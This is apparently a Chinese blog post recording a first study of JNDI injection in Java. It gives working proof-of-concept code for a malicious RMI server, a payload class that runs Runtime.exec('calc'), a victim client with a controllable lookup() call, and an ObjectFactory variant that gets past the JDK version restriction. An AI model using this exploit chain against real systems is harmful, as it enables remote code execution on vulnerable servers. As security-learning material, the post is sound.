首页 > 其他分享 >初步学习JDNI注入

初步学习JDNI注入

时间:2024-07-19 12:08:21浏览次数:12  
标签:java Reference JDNI 初步 import naming rmi public 注入

最近学习java安全,JDNI注入必需了解,进行初步的学习

首先JNDI注入对JAVA版本是有限限制的,本地是1.8.0_2.0.1超过了191,所以最开始拿符合版本方法复现没有成功

java版本查看

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

 

 

 

符合版本的JNDI注入复现方法:

实现一个RMI服务

package Server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//恶意RMi服务
public class RmiDemo {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //注册RMi服务
        Registry registry = LocateRegistry.createRegistry(7778);
        //Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置
        Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/");
        //把 Reference对象封装成远程对象
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp",referenceWrapper);
    }
}

创建恶意类

public class exp {
    public exp() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
} 

实现被攻击端访问RMI服务,这里的lookup()参数可控,访问恶意的 url   

package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        //模拟被攻击端参数可控
        String url = "rmi://127.0.0.1:7778/exp";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }

}

 编译恶意类并开启远程http服务,,让RMI可以远程引用恶意类,这里的IP和8888端口对应  Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/");

但是最后运行RMI Server,再运行Client无法实现命令执行

原本想换个JDK版本,但又看到了网上大佬绕过版本限制的文章,这里copy过来修改一下,最后可以成功

修改后的恶意类和RMI服务

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
//恶意类
public class PayloadObjectFactory implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        return 1;
    }
}
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//恶意RMi服务
public class RmiDemo {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //注册RMi服务
        Registry registry = LocateRegistry.createRegistry(7778);
        //Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置
        Reference reference = new Reference("aaa", "PayloadObjectFactory", null);
        //把 Reference对象封装成远程对象
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp",referenceWrapper);
    }
}

  最终成功命令执行弹出计算器

 

 参考链接:

https://xz.aliyun.com/t/14566

https://xz.aliyun.com/t/12277

 

 

标签:java,Reference,JDNI,初步,import,naming,rmi,public,注入
From: https://www.cnblogs.com/byzd/p/18311225

相关文章

  • Spring中Map类型依赖注入的使用
    为了详细解释这段代码的装配过程,并编写一份详细的开发文档,我们需要从几个方面进行阐述:Spring框架的依赖注入机制、@Resource注解的作用、Map<String,ProcessListener>类型作为依赖的特别性,以及这段代码在实际开发中的应用和注意事项。1.Spring框架的依赖注入机制Spring框架的......
  • 【漏洞复现】SuiteCRM SQL注入漏洞(CVE-2024-36412)
    0x01产品简介SuiteCRM是一款屡获殊荣的企业级开源客户关系管理系统,它具有强大的功能和高度的可定制性,且完全免费。0x02漏洞概述SuiteCRM存在SQL注入漏洞,未经身份验证的远程攻击者可以通过该漏洞拼接执行SQL注入语句,从而获取数据库敏感信息。0x03搜索引擎title="Suit......
  • Goby漏洞发布 | CVE-2024-4879 ServiceNowUI /login.do Jelly模板注入漏洞【已复现】
    漏洞名称:ServiceNowUI/login.doJelly模板注入漏洞(CVE-2024-4879)EnglishName:ServiceNowUI/login.doInputValidationVulnerability(CVE-2024-4879)CVSScore:9.3漏洞描述:ServiceNow是一个业务转型平台。通过平台上的各个模块,ServiceNow可用于从人力资源和员工管理到自动......
  • 指针的初步认识
    1.什么是指针?    1.1什么是数据/变量的地址        地址就是数据在内存中的存储位置。指针就是数据在内存中的存储地址,或者叫数据在内存中的编码位置。    1.2指针变量        用来存储指针/地址的变量叫做指针变量。 ......
  • 未公开 泛微OA E-Cology 某接口SQL注入漏洞
    0x01阅读须知        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者......
  • 0day 新接口泛微e-cology getHendledWorkflowRequestList SQL注入漏洞
    0x01阅读须知        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者......
  • 这可能是本年度最好用的 Dagger2 使用教程 三(依赖注入器的依赖、子组件、Lazy、Provid
    在上一个文章中,我们介绍了Dagger中的限定和范围注解,现在我们将视线转移到依赖注入器来,先介绍这个组件的依赖的两种方式,再介绍两个常用的类型。强烈建议先看完上一个文章:这可能是最详细的Dagger2使用教程二(限定注解@Named、@Qulifier和范围注解@Singleton、@Scope)......
  • SQL inject 宽字节注入
    宽字符截断的原理主要涉及字符编码的处理方式,特别是在多字节字符集(如GBK、BIG5等)中。这种漏洞通常发生在web应用对用户输入进行过滤时,由于字符编码的不一致导致的。原理多字节字符集中,一个字符通常由两个或更多字节组成。在进行字符串操作时,如果不正确处理这些多字节字符,可能会......
  • 随手记:Bruno动态注入Header
    因为PostMan启动太慢,动不动就要登录,以及防火墙的问题,搞起来挺麻烦,一气之下就换了Bruno来管理API请求,接口的安全校验也是很正常的事儿,最近有个兄弟部门使用了参数+时间戳+HmacSHA256校验,把校验的Sign放到Header里,研究了下,做个记录,方便随取随用,这种动态的Header需要使用Script:cons......
  • 1day 喰星云·数字化餐饮服务系统 多处 SQL注入漏洞
    0x01阅读须知        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者......